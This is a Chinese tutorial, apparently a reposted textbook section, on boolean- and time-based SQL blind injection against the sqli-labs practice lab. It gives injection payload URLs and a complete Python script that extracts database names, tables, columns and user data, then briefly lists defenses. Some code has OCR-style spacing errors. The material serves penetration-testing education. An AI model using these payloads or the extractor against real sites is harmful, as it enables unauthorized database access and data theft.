SQL盲注漏洞

2024-01-30 22:20
文章标签 sql 漏洞 database 盲注

本文主要是介绍SQL盲注漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

 

在进行SQL注入攻击时,若确定有注入点但因页面没有回显位来显示数据, 导致无法获取有效信息时,就要进行SQL盲注。

 

 

 

 

 

 

5.3.1    简介

 

目前常用的SQL盲注主要分以下两类:

·基于布尔的盲注:当页面没有回显位、不会输出SQL语句报错信息时,通过 返回页面响应的正常或不正常的情况来进行注入。

·基于时间的盲注:当页面没有回显位、不会输出SQL语句报错信息、不论 SQL语句的执行结果对错都返回一样的页面时,通过页面的响应时间来进行注 入。

上述两种盲注方式都存在的缺点就是需要耗费大量的精力去进行测试,因此 在渗透测中常使用工具或脚本来代替手工操作,完成烦琐的注入过程。

sqli-labs是由一位印度程序员编写的SQL注入练习靶场,包含多种类型的注入 方式,接下来将会在sqli-labs环境下具体讲解SQL盲注脚本的编写过程。

 

 

 

 

 

5.3.2    基于布尔型SQL盲注检测

 

本节以sqli-labs靶场的第八关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0 ,1。

如果盲注的结果正确,则会显示“You are in...........” ,如图5-5所示。

如果盲注的结果错误,则不会显示“You are in...........” ,如图5-6所示。

那么,我们只需要提前构造相应的注入语句,然后根据页面是否回显“You

are in...........”来进行判断即可,让脚本进行自动化操作。笔者已经构造好所需的

Payload ,代码如下所示:

>>> http://127 .0 .0 .1/sql/Less-8/?id=1 ' and if(length(database())=8,1,0) %23

# 获取数据库名

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r(database(),1,1))=115, 1,0) %23

# 获取数据库表的数量

>>> http://127 .0 .0 .1/sql/Less-8/?id=1 ' and if((select count(*)table_name

from information_schema .tables where table_schema= 'security ')=4,1,0) %23

# 获取数据库表名称的长度

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select LENGTH(table_name) from information_schema .tables where table_schema= 'security ' limit 1,1)=

8,1,0) %23

# 获取数据库表名

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r((select table_name

from information_schema .tables where table_schema= 'security ' limit 0,1), 1,1))=101,1,0) %23

# 获取表的字段数量

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select count(column_name) from

information_schema .columns where table_schema= 'security ' and table_name= 'users ')=3,1,0) %23

# 获取字段的长度

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select length(column_name) from

information_schema .columns where table_schema= 'security ' and table_name= 'users ' limit 0,1)=2,1,0) %23

# 获取表的字段

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r((select column_name  from information_schema .columns where table_schema= 'security ' and table _name= 'users ' limit 0,1),1,1))=105,1,0) %23

# 获取字段数据的数量

>>> http://127 .0 .0 .1/Less-8/?id=1 'and if ((select count(username) from

users)=13,1,0) %23

# 获取字段数据的长度

>>> http://127 .0 .0 .1/Less-8/?id=1 'and if ((select length(username) from

users limit 0,1)=4,1,0) %23

# 获取字段数据

>>> http://127 .0 .0 .1/Less-8/?id=1 'and if (ascii(subst r((select username

from users limit 0,1),1,1))=68,1,0) %23

 

 

 

 

 

图5-6    布尔注入结果错误

1)写入脚本信息,导入模块,定义存储数据库数据的变量且定义一个request 对象用来进行请求,代码如下:

 

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

import requests

import optparse

 

# 存放数据库名的变量

DBName = ""

# 存放数据库表的变量

DBTables = []

# 存放数据库字段的变量

DBColumns = []

# 存放数据字典的变量,键为字段名,值为字段数据列表

DBData = {}

# 若页面返回真,则会出现“You are in . . . . . . . . . . .”

flag = "You are in . . . . . . . . . . ."

# 设置重连次数以及将连接改为短连接

# 防止因为HTTP连接数过多导致的 Max retries exceeded with url问题

requests .adapters .DEFAULT_RETRIES = 5

conn = requests .session()

conn .keep_alive = False

2)编写主函数,用来调用各个函数进行自动化注入,代码如下:

 

 

 

 

 

 

# 盲注主函数

def StartSqli(url) :

GetDBName(url)

print("[+]当前数据库名 :{0}" .format(DBName))

GetDBTables(url,DBName)

print("[+]数据库{0}的表如下 :" .format(DBName))

for item in range(len(DBTables)) :

print("(" + str(item + 1) + ")" + DBTables[item])

tableIndex = in t(input("[*]请输入要查看的表的序号 :")) - 1

GetDBColumns(url,DBName,DBTables[tableIndex])

while True:

print("[+]数据表{0}的字段如下 :" .format(DBTables[tableIndex]))

for item in range(len(DBColumns)) :

print("(" + str(item + 1) + ")" + DBColumns[item])

columnIndex = in t(input("[*]请输入要查看的字段的序号(输入0退出) :"))-1 if(columnIndex == -1) :

break

else:

GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

 

3)编写获取数据库名的函数,根据得到的URL获取数据库名并把最后的结 果存入DBName:

def GetDBName(url) :

# 引用全局变量DBName,用来存放网页当前使用的数据库名

global DBName

print("[-]开始获取数据库名的长度")

# 保存数据库名长度的变量

DBNameLen = 0

# 用于检查数据库名长度的payload

payload = " ' and if(length(database())={0},1,0) %23"

# 把URL和payload进行拼接,得到最终请求的URL

targetUrl = url + payload

# 用for循环来遍历请求,得到数据库名的长度

for DBNameLen in range(1, 99) :

# 对payload中的参数进行赋值猜解

res = conn .get(targetUrl.format(DBNameLen))

# 判断flag是否在返回的页面中

if flag in res .content.decode("utf-8") :

print("[+]数据库名的长度 :" + str(DBNameLen))

break

print("[-]开始获取数据库名")

payload = " ' and if(ascii(subst r(database(),{0},1))={1},1,0) %23"

targetUrl = url + payload

# a表示subst r()函数的截取起始位置

for a in range(1, DBNameLen+1) :

# b表示在ASCII码中33~126位可显示的字符

for b in range(33, 127) :

res = conn .get(targetUrl.format(a,b))

if flag in res .content.decode("utf-8") :

DBName += chr(b)

print("[-]"+ DBName)

break

4)编写获取数据库表的函数,根据获取到的URL和数据库名获取数据库中 的表,并把结果以列表的形式存入DBTables:

 

# 获取数据库表的函数

def GetDBTables(url, dbname) :

global DBTables

# 存放数据库表数量的变量

 

 

 

 

 

DBTableCount = 0

print("[-]开始获取{0}数据库表数量 :" .format(dbname))

# 获取数据库表数量的payload

payload = " ' and if((select count(*)table_name from information_schema . tables where table_schema= '{0} ')={1},1,0) %23"

targetUrl = url + payload

# 开始遍历获取数据库表的数量

for DBTableCount in range(1, 99) :

res = conn .get(targetUrl.format(dbname, DBTableCount))

if flag in res .content.decode("utf-8") :

print("[+]{0}数据库中表的数量为 :{1}" .format(dbname, DBTableCount)) break

print("[-]开始获取{0}数据库的表" .format(dbname))

# 遍历表名时临时存放表名长度的变量

tableLen = 0

# a表示当前正在获取表的索引

for a in range(0,DBTableCount) :

print("[-]正在获取第{0}个表名" .format(a+1))

# 先获取当前表名的长度

for tableLen in range(1, 99) :

payload = " ' and if((select LENGTH(table_name) from

information_schema .tables where table_schema= '{0} '

limit {1},1)={2},1,0) %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbname, a, tableLen))

if flag in res .content.decode("utf-8") :

break

# 开始获取表名

# 临时存放当前表名的变量

table = ""

# b表示当前表名猜解的位置

for b in range(1, tableLen+1) :

payload = " ' and if(ascii(subst r((select table_name from

information_schema .tables where table_schema= '{0} ' limit {1},1),{2},1))={3},1,0) %23"

targetUrl = url + payload

# c表示在ASCII码中33~126位可显示的字符

for c in range(33, 127) :

res = conn .get(targetUrl.format(dbname, a, b, c))

if flag in res .content.decode("utf-8") :

table += chr(c)

print(table)

break

# 把获取到的表名加入DBTables

DBTables .append(table)

# 清空table,用来继续获取下一个表名

table = ""

5)编写获取表字段的函数,根据获取的URL 、数据库名和数据库表,获取 表的字段并把结果以列表的形式存入DBColumns:

def GetDBColumns(url, dbname, dbtable) :

global DBColumns

# 存放字段数量的变量

DBColumnCount = 0

print("[-]开始获取{0}数据表的字段数 :" .format(dbtable))

for DBColumnCount in range(99) :

payload = " ' and if((select count(column_name) from information_  schema .columns where table_schema= '{0} ' and table_name= '{1} ')

={2},1,0) %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbname, dbtable, DBColumnCount)) if flag in res .content.decode("utf-8") :

print("[-]{0}数据表的字段数为 :{1}" .format(dbtable, DBColumnCount))

break

# 开始获取字段的名称

 

 

 

 

 

# 保存字段名的临时变量

column = ""

# a表示当前获取字段的索引

for a in range(0, DBColumnCount) :

print("[-]正在获取第{0}个字段名" .format(a+1))

# 先获取字段的长度

for columnLen in range(99) :

payload = " ' and if((select length(column_name) from information_ schema .columns where table_schema= '{0} ' and table_name= '{1} '  limit {2},1)={3},1,0) %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbname, dbtable, a, columnLen)) if flag in res .content.decode("utf-8") :

break

# b表示当前字段名猜解的位置

for b in range(1, columnLen+1) :

payload = " ' and if(ascii(subst r((select column_name from

information_schema .columns where table_schema= '{0} ' and

table_name= '{1} ' limit {2},1),{3},1))={4},1,0) %23"

targetUrl = url + payload

# c表示在ASCII码中33~126位可显示的字符

for c in range(33, 127) :

res = conn .get(targetUrl.format(dbname, dbtable, a, b, c)) if flag in res .content.decode("utf-8") :

column += chr(c)

print(column)

break

# 把获取到的字段名加入DBColumns

DBColumns .append(column)

# 清空column,用来继续获取下一个字段名

column = ""

6)编写数据获取函数,根据获取的URL 、数据表名和数据表字段来获取数 据。数据以字典的形式存放,键为字段名,值为字段数据形成的列表:

# 获取表数据的函数

def GetDBData(url,dbtable,dbcolumn) :

global DBData

# 先获取字段的数据数量

DBDataCount = 0

print("[-]开始获取{0}表{1}字段的数据数量" .format(dbtable, dbcolumn))

for DBDataCount in range(99) :

payload = "'and if ((select count({0}) from {1})={2},1,0)  %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbcolumn, dbtable, DBDataCount)) if flag in res .content.decode("utf-8") :

print("[-]{0}表{1}字段的数据数量为 :{2}" .format(dbtable, dbcolumn, DBDataCount))

break

for a in range(0, DBDataCount) :

print("[-]正在获取{0}的第{1}个数据" .format(dbcolumn, a+1))

# 先获取这个数据的长度

dataLen = 0

for dataLen in range(99) :

payload = "'and if ((select length({0}) from {1} limit {2},1) ={3},1,0)  %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbcolumn, dbtable, a, dataLen)) if flag in res .content.decode("utf-8") :

print("[-]第{0}个数据长度为 :{1}" .format(a+1, dataLen))

break

# 临时存放数据内容变量

data = ""

# 开始获取数据的具体内容

# b表示当前数据内容猜解的位置

for b in range(1, dataLen+1) :

for c in range(33, 127) :

 

 

 

 

 

payload = "'and if (ascii(subst r((select {0} from {1} limit {2},1),{3},1))={4},1,0)  %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbcolumn, dbtable, a, b, c)) if flag in res .content.decode("utf-8") :

data += chr(c)

print(data)

break

# 放到以字段名为键,值为列表的字典中

DBData .setdefault(dbcolumn,[]) .append(data)

print(DBData)

# 把data清空,继续获取下一个数据

data = ""

 

7)编写主函数,用来获取目标的URL并传递给StartSqli:

if __name__ == '__main__ ' :

parser = optparse .OptionParser( 'usage: python %prog -u url \n\n ' 'Example: python %prog  -u http://192 .168 .61 .1/sql/Less-8/?id=1\n ')

# 目标URL参数-u

parser .add_option( '-u ', '--url ', dest= 'targetURL ',default= 'http://

127.0.0.1/sql/Less-8/?id=1', type= 'string ',help= 'target URL ')

(options, args) = parser .parse_args()

StartSqli(options .targetURL)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5.3.3    基于时间型SQL盲注检测

 

本节以sqli-labs靶场的第九关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0 ,1。

这关不管语句正确还是错误,页面始终显示“Your are in...........” ,如图5-7所

示,所以我们只能通过基于时间的盲注方法来获取数据,根据页面的返回时间来 判断结果。

 

完成注入过程所需的Payload的代码如下:

# 判断数据库名的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(length(database())=8,sleep(5), 0) %23

# 获取数据库名

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r(database(),1,1)) =115,sleep(5),0)%23

# 获取数据库中表的数量

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(table_name) from

information_schema .tables where table_schema= 'security ' )=4,sleep(5),0) %23

# 获取数据库表的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(table_name)

from information_schema .tables where table_schema= 'security ' limit 0,1)= 6,sleep(5),0) %23

# 获取数据库表

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select table_

name from information_schema .tables where table_schema= 'security ' limit 0,1),1,1))=101,sleep(5),0)%23

# 获取数据库表中字段的数量

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(column_name) from information_schema .columns where table_schema= 'security ' and

table_name= 'users ')=3,sleep(5),0) %23

# 获取表字段的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(column_name) from information_schema .columns where table_schema= 'security ' and

table_name= 'users ' limit 0,1)=2,sleep(5),0) %23

 

 

 

 

# 获取数据库字段

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select column_ name from information_schema .columns where table_schema= 'security ' and table_name= 'users ' limit 0,1),1,1))=105,sleep(5),0) %23

# 获取字段数据的数量

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(username) from users)=13,sleep(5),0) %23

# 获取字段数据的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(username) from users limit 0,1)=4,sleep(5),0) %23

# 获取数据内容

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select username from users limit 0,1),1,1))=68,sleep(5),0) %23

 

本节的代码与基于布尔的盲注脚本十分相似,不同之处在于此处脚本需要用 到time模块,判断结果的语句和所使用的Payload不相同。以下将列出部分代码, 读者可当作练习自行完成编写,若有疑问,可参考源代码。

获取数据库名的函数代码如下:

# 获取数据库名的函数

def GetDBName(url) :

# 引用全局变量DBName,用来存放网页当前使用的数据库名

global DBName

print("[-]开始获取数据库名的长度")

# 保存数据库名长度的变量

DBNameLen = 0

# 用于检查数据库名长度的payload

payload = " ' and if(length(database())={0},sleep(5),0) %23"

# 把URL和payload进行拼接,得到最终的请求URL

targetUrl = url + payload

# 用for循环来遍历请求,得到数据库名的长度

for DBNameLen in range(1, 99) :

# 开始时间

timeStart = time .time()

# 开始访问

res = conn .get(targetUrl.format(DBNameLen))

# 结束时间

timeEnd = time .time()

# 判断时间差

if timeEnd - timeStart >= 5:

print("[+]数据库名的长度 :" + str(DBNameLen))

break

print("[-]开始获取数据库名")

payload = " ' and if(ascii(subst r(database(),{0},1))={1},sleep(5),0)%23" targetUrl = url + payload

# a表示subst r()函数的截取起始位置

for a in range(1, DBNameLen+1) :

# b表示在ASCII码中33~126位可显示的字符

for b in range(33, 127) :

timeStart = time .time()

res = conn .get(targetUrl.format(a,b))

timeEnd = time .time()

if timeEnd - timeStart >= 5:

DBName += chr(b)

print("[-]"+ DBName)

break

下面测试一下效果。

 

 

 

 

 

获取数据库名如下所示:

获取数据库表如下所示:

 

 

 

 

 

获取字段数据,如下所示:

 

 

 

 

 

 

 

 

 

 

 

5.3.4    防御策略

 

SQL盲注属于SQL注入的一种方式。下面介绍的几种防御方法可以有效降低 SQL注入对网站的危害:

1)用参数化查询的方式代替动态SQL。

2)避免显示数据库的错误信息。

3)在服务器上安装Web应用程序防火墙(Web Application Firewall, WAF)。

4)限制数据库的权限。

5)对于数据库中的敏感信息进行加密保存。

6)根据需求升级数据库的版本,避免旧版数据库中的已知漏洞。

 

这篇关于SQL盲注漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/661731

相关文章

MySQL 8 中的一个强大功能 JSON_TABLE示例详解

《MySQL8中的一个强大功能JSON_TABLE示例详解》JSON_TABLE是MySQL8中引入的一个强大功能,它允许用户将JSON数据转换为关系表格式,从而可以更方便地在SQL查询中处理J... 目录基本语法示例示例查询解释应用场景不适用场景1. ‌jsON 数据结构过于复杂或动态变化‌2. ‌性能要

MySQL字符串常用函数详解

《MySQL字符串常用函数详解》本文给大家介绍MySQL字符串常用函数,本文结合实例代码给大家介绍的非常详细,对大家学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录mysql字符串常用函数一、获取二、大小写转换三、拼接四、截取五、比较、反转、替换六、去空白、填充MySQL字符串常用函数一、

MySQL中比较运算符的具体使用

《MySQL中比较运算符的具体使用》本文介绍了SQL中常用的符号类型和非符号类型运算符,符号类型运算符包括等于(=)、安全等于(=)、不等于(/!=)、大小比较(,=,,=)等,感兴趣的可以了解一下... 目录符号类型运算符1. 等于运算符=2. 安全等于运算符<=>3. 不等于运算符<>或!=4. 小于运

虚拟机Centos7安装MySQL数据库实践

《虚拟机Centos7安装MySQL数据库实践》用户分享在虚拟机安装MySQL的全过程及常见问题解决方案,包括处理GPG密钥、修改密码策略、配置远程访问权限及防火墙设置,最终通过关闭防火墙和停止Net... 目录安装mysql数据库下载wget命令下载MySQL安装包安装MySQL安装MySQL服务安装完成

MySQL进行数据库审计的详细步骤和示例代码

《MySQL进行数据库审计的详细步骤和示例代码》数据库审计通过触发器、内置功能及第三方工具记录和监控数据库活动,确保安全、完整与合规,Java代码实现自动化日志记录,整合分析系统提升监控效率,本文给大... 目录一、数据库审计的基本概念二、使用触发器进行数据库审计1. 创建审计表2. 创建触发器三、Java

MySQL逻辑删除与唯一索引冲突解决方案

《MySQL逻辑删除与唯一索引冲突解决方案》本文探讨MySQL逻辑删除与唯一索引冲突问题,提出四种解决方案:复合索引+时间戳、修改唯一字段、历史表、业务层校验,推荐方案1和方案3,适用于不同场景,感兴... 目录问题背景问题复现解决方案解决方案1.复合唯一索引 + 时间戳删除字段解决方案2:删除后修改唯一字

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

MySQL 主从复制部署及验证(示例详解)

《MySQL主从复制部署及验证(示例详解)》本文介绍MySQL主从复制部署步骤及学校管理数据库创建脚本,包含表结构设计、示例数据插入和查询语句,用于验证主从同步功能,感兴趣的朋友一起看看吧... 目录mysql 主从复制部署指南部署步骤1.环境准备2. 主服务器配置3. 创建复制用户4. 获取主服务器状态5

SpringBoot中六种批量更新Mysql的方式效率对比分析

《SpringBoot中六种批量更新Mysql的方式效率对比分析》文章比较了MySQL大数据量批量更新的多种方法,指出REPLACEINTO和ONDUPLICATEKEY效率最高但存在数据风险,MyB... 目录效率比较测试结构数据库初始化测试数据批量修改方案第一种 for第二种 case when第三种

MySql基本查询之表的增删查改+聚合函数案例详解

《MySql基本查询之表的增删查改+聚合函数案例详解》本文详解SQL的CURD操作INSERT用于数据插入(单行/多行及冲突处理),SELECT实现数据检索(列选择、条件过滤、排序分页),UPDATE... 目录一、Create1.1 单行数据 + 全列插入1.2 多行数据 + 指定列插入1.3 插入否则更